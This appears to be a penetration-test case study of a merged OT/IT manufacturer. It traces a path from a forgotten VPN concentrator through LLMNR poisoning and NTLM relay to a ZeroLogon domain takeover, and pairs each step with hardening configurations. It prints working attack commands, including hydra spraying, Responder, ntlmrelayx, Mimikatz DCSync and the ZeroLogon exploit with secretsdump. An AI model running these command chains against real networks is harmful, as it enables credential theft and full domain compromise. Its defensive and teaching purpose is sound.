Network Vulnerability Assessment & Pentesting Securing a hybrid OT/IT manufacturing enterprise against external VPN compromise, LLMNR/NBT-NS poisoning, and full Active Directory domain takeover

The Post-Merger Network Blind Spot

A merger does not combine two networks. It staples them together and calls the seam a “trust relationship.” NordForge inherited an acquired network whose firewall rules nobody had read, whose edge appliances appeared in no inventory, and whose Active Directory trusts had been configured by people who no longer worked there. The single most dangerous asset in the whole engagement was one nobody at NordForge knew existed — a VPN concentrator still answering on the public internet with a credential from the year before.

In an OT-heavy plant the blast radius is not the usual data-breach story. A pivot from the IT domain into the production OT segment can stop physical lines, corrupt PLC logic, and turn a confidentiality problem into a safety-and-availability one — the kind where the incident report has a headcount attached. Over seven weeks we proved a clean, repeatable path from the public internet to Domain Admin, and from there straight at the factory floor. We stopped at the OT boundary by agreement; an attacker would not have.

Technical Audit Snapshot

6-Phase Network Assessment Methodology

The engagement ran across six phases, from external reconnaissance through internal lateral movement. The order matters more than the labels: each phase only exists to feed the next, and the whole chain below started with a single forgotten hostname in a certificate transparency log.

Target Network Topology Under Test

On paper NordForge runs a clean three-tier network: an internet-facing DMZ, a corporate VLAN backed by Active Directory, and an isolated OT zone driving production PLCs. Two words in that sentence were doing a lot of unearned work. The corporate VLAN was a flat /16 with no internal segmentation, and the OT zone was “isolated” only in the sense that nobody had checked the firewall rule that said otherwise. The merger then added a second, unmanaged VPN concentrator that bridged straight into the corporate segment — the tier diagram had grown an edge nobody drew.

Vulnerability Classification Matrix

Each finding was scored with CVSS v3.1 and mapped to its attack technique and remediation status. One caveat on the numbers: a CVSS base score deliberately ignores context, so a “6.5 Medium” over-permissive OT rule was, in this environment, the difference between a contained IT breach and a stopped production line. The base score and the business severity are not the same conversation, and the second one is why that Medium got remediated alongside the Criticals.

External Perimeter vs Internal Network Findings

The engagement split cleanly into two attack surfaces, and they failed in different ways. The external perimeter gave up one thing — a foothold — because of one forgotten box. The internal network then gave up everything, because once you are inside a flat domain with legacy protocols enabled, there is no second perimeter to slow you down. Toggle between the two below.

Critical Finding OC-NET-002 — Forgotten External VPN Foothold

External reconnaissance against the merged ASN turned up a VPN concentrator in no asset inventory. Certificate transparency logs and reverse-DNS tied it back to the acquired company — this is why passive CT log monitoring earns its keep: it finds the assets your inventory forgot before an attacker does. The appliance ran firmware two major versions behind and, critically, authenticated against a local account database instead of the domain. Local auth meant a stale service credential — svc_backup : Summer2023! — that had survived because it was tied to no person and no offboarding process. Nobody owns a service account, so nobody rotates it.

Attack Path Sequence

Reconnaissance Proof-of-Concept

# External service discovery against the merged ASN range
nmap -sS -sV -p- --min-rate 2000 -oA nordforge_ext 203.0.113.0/24

# Excerpt — the forgotten VPN concentrator
Nmap scan report for vpn-legacy.nordforge.example (203.0.113.47)
PORT     STATE SERVICE   VERSION
443/tcp  open  ssl/https Legacy-VPN Portal 9.1.2 (EOL firmware)
500/tcp  open  isakmp    IKE
4500/tcp open  nat-t-ike

# Low-and-slow password spray against the SSL-VPN portal login form
hydra -L users.txt -p 'Summer2023!' -t 2 -W 30 \
  vpn-legacy.nordforge.example https-post-form \
  "/remote/login:username=^USER^&credential=^PASS^:F=Authentication failed"
[443][http-post-form] host: vpn-legacy.nordforge.example  login: svc_backup  password: Summer2023!

The concentrator dropped the tunnel straight onto a flat /16 corporate VLAN with no internal segmentation. That single design choice is what turned one weak password into a domain problem: every domain-joined host, the domain controllers included, sat one hop from an attacker who had been on the public internet ninety seconds earlier. A segmented network would have made this foothold a nuisance. A flat one made it a beachhead.

The Remediation Block (Before vs After)

The inherited edge configuration versus the hardened one is below. The hardening is not subtle — SSO and MFA, a current firmware train, and a tunnel that lands in a constrained jump segment instead of the whole /16. The cost, stated plainly: federated auth and a jump-host hop add friction for every legitimate remote user, and someone has to own the firmware upgrade cadence forever. That is the actual price of not being here again.

# Legacy SSL-VPN — local auth, no MFA
auth-source     local
mfa             disabled
firmware        9.1.2   # 2 majors behind, EOL

# Tunnel lands directly on flat corporate /16
split-tunnel    disabled
assigned-subnet 10.20.0.0/16
acl             permit ip any any   # no segmentation

# Hardened VPN — federated identity + MFA
auth-source     saml-idp           # central SSO
mfa             required           # TOTP / FIDO2
firmware        10.3.1             # current LTS

# Tunnel lands in a constrained jump segment only
split-tunnel    enforced
assigned-subnet 10.99.250.0/24     # VPN landing VLAN
acl             permit tcp 10.99.250.0/24 to jump-host 22,3389
acl             deny   ip 10.99.250.0/24 to 10.20.0.0/16
# Decommissioned legacy concentrator entirely

Critical Finding OC-NET-003 — LLMNR/NBT-NS Poisoning to NTLM Relay

Once inside, capturing credentials took minutes, not skill. Windows falls back to LLMNR and NBT-NS broadcasts whenever DNS resolution fails, and DNS fails constantly — a mistyped share name, a decommissioned server someone’s login script still references, a mapped drive that no longer exists. Every one of those is a host shouting a hostname onto the wire and trusting whoever answers. Responder answers. The captured NetNTLMv2 material followed within the first ten minutes on the segment.

Attack Vector Diagram

Exploitation Mechanics

# 1. Poison LLMNR/NBT-NS and capture hashes
responder -I eth0 -wv

[+] Listening for events...
[SMB] NTLMv2-SSP Hash : NORDFORGE\j.eriksson::NORDFORGE:1122...
[SMB] NTLMv2-SSP Hash : NORDFORGE\svc_sql::NORDFORGE:88af...

# 2. With SMB signing OFF on targets, relay instead of crack
ntlmrelayx.py -tf unsigned_hosts.txt -smb2support -c "whoami"
[*] Authenticating against smb://10.20.14.31 as NORDFORGE\j.eriksson SUCCEED
[*] Executed specified command on host: 10.20.14.31
nt authority\system

Because SMB signing was not enforced, there was no need to crack anything. A captured hash could be relayed live to any host that accepted unsigned SMB, and hosts whose users held local-admin rights elsewhere let us relay straight to SYSTEM, dump cached secrets with Mimikatz, and repeat. Each relayed host added credentials to the pile, and the pile is what eventually contained a Domain Admin. This is the quiet lesson of flat AD: no single step is impressive, but nothing stops the chain, so the small steps compound into total compromise.

# Mimikatz — harvesting cached secrets post-relay
mimikatz # sekurlsa::logonpasswords
  Username : svc_sql
  Domain   : NORDFORGE
  NTLM     : 9f3a...c21d
mimikatz # lsadump::dcsync /user:NORDFORGE\krbtgt
  [DC] 'nordforge.local' will be the domain
  Object RID : 502  Credentials NTLM : 5e1f...a09b

Hardened Domain Configuration

# Disable legacy name resolution domain-wide via GPO
# Computer Config > Admin Templates > Network > DNS Client
Set-GPRegistryValue -Name "Harden-NameResolution" `
  -Key "HKLM\Software\Policies\Microsoft\Windows NT\DNSClient" `
  -ValueName "EnableMulticast" -Type DWord -Value 0

# Disable NBT-NS on all interfaces (deployment script)
$nic = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter "IPEnabled=true"
$nic | ForEach-Object { $_.SetTcpipNetbios(2) }  # 2 = disable NetBIOS over TCP/IP

# Enforce SMB signing to defeat NTLM relay entirely
Set-GPRegistryValue -Name "Enforce-SMB-Signing" `
  -Key "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" `
  -ValueName "RequireSecuritySignature" -Type DWord -Value 1

Critical Finding OC-NET-001 — ZeroLogon Domain Takeover

The acquired environment’s primary domain controller had never received the August 2020 rollup, leaving it open to CVE-2020-1472 (ZeroLogon). The flaw is a cryptographic mistake in Netlogon: a broken use of AES-CFB8 means that roughly one attempt in 256 with an all-zero challenge succeeds, letting an unauthenticated attacker on the network set the DC’s own machine-account password to empty and then impersonate the domain controller. A five-year-old, single-command bug on the most sensitive box in the estate — that is what “we never got round to patching that DC” costs.

Domain Compromise Vector

Exploitation Proof-of-Concept

# Confirm vulnerability (non-destructive check)
python3 zerologon_tester.py DC01 10.20.0.10
Success! DC01 is vulnerable to ZeroLogon (CVE-2020-1472)

# Exploit + immediate DCSync to extract domain secrets
python3 cve-2020-1472-exploit.py DC01 10.20.0.10
secretsdump.py -just-dc -no-pass 'NORDFORGE/DC01$@10.20.0.10'
Administrator:500:aad3b...:c0ffee...:::
krbtgt:502:aad3b...:5e1f...a09b:::

With krbtgt extracted, the domain was ours in full — Golden Tickets on demand, and a clear path to the OT DMZ gateway, which an over-permissive firewall rule (OC-NET-005) let Domain Admin hosts reach directly. We stopped at the OT boundary by prior agreement, having proven reachability to production-critical systems. Proving reach was the point; crossing it in a live plant is how a penetration test becomes an outage.

Critical remediation note: ZeroLogon has a nasty side effect — the exploit sets the machine-account password to empty in AD but not in the DC’s local registry, so an uncareful run leaves the secure channel broken and can knock the DC offline. This is not a bug to fire off casually against production. We restored the original machine-account password immediately afterwards and coordinated patching as the very first remediation action, before touching anything else.

Active Directory Pivot Explorer

Step through the kill chain one hop at a time. Select a stage to light up the pivot path and see the exact tooling, technique, and outcome — from the internet-facing edge to the OT boundary. Read left to right, it is four moves. That is the uncomfortable part: four.

hydra -L users.txt -p 'Summer2023!' -t 2 \
vpn-legacy.nordforge.example https-post-form \
"/remote/login:username=^USER^&credential=^PASS^:F=failed"

responder -I eth0 -wv
[SMB] NTLMv2-SSP Hash : NORDFORGE\j.eriksson::NORDFORGE:1122...
ntlmrelayx.py -tf unsigned_hosts.txt -smb2support -c "whoami"

python3 zerologon_tester.py DC01 10.20.0.10
Success! DC01 is vulnerable (CVE-2020-1472)
secretsdump.py -just-dc -no-pass 'NORDFORGE/DC01$@10.20.0.10'

# Domain Admin host permitted to reach OT DMZ gateway
nmap -Pn -p 502,44818 10.50.0.0/24   # Modbus / EtherNet-IP
# >>> ENGAGEMENT STOP — OT boundary reached per rules of engagement

Network Attack Surface Risk Score · Before vs After

A composite risk score across external exposure, internal segmentation depth, credential hygiene, and AD patch posture. The number is a summary, not a measurement — it is useful for showing a board the shape of the change, less so as a precise gauge. What it does capture honestly is the two moments that moved the needle most: patching the DC, and putting real segmentation between the tiers.

Side-by-Side Attack Simulator Replay

The same NTLM relay attempt run against the legacy flat network and against the post-engagement segmented, signing-enforced build. The difference is not that the hardened side detects the attack faster — it is that the attack has nothing to catch. Disabled broadcast protocols and enforced SMB signing mean Responder hears silence and the relay is refused outright.

Quantifiable Business Impact

The engagement turned an opaque, post-merger network into a measured one — and closed a credible path to full domain compromise and OT-disrupting ransomware before anyone hostile walked it. The ROI column below is deliberately not in dollars: the honest value here is a production halt that did not happen, and you cannot invoice for the absence of a disaster. What you can do is point at the specific door that was open and is now shut.

Strategic Takeaways

Securing a merged, hybrid OT/IT estate means treating the network itself — not just the applications on it — as the trust boundary that gets attacked first.

1. Inventory is a security control, not paperwork. The most dangerous asset was the one nobody knew existed. You cannot defend, patch, or monitor a box that is not on a list, and a merger is precisely when boxes fall off lists. Reconcile every internet-facing endpoint, VPN, and AD trust before you bridge the networks, because the alternative is finding them the way we did.
2. A flat network converts one foothold into the whole domain. Segmentation, enforced SMB signing, and disabling LLMNR/NBT-NS are what put friction between “initial access” and “Domain Admin.” The cost is real — segmentation projects break things that quietly depended on flatness, and legacy protocol teardown occasionally surfaces an ancient application that only resolved names by broadcast. Budget for that breakage; it is cheaper than the compromise.
3. Patch posture on identity infrastructure is the whole game. One unpatched DC turned a multi-stage attack into a single command. Rapid DC patching and a tiered admin model are the highest-leverage controls in any AD estate — and doubly so where an IT compromise can reach across a weak boundary and stop a physical production line.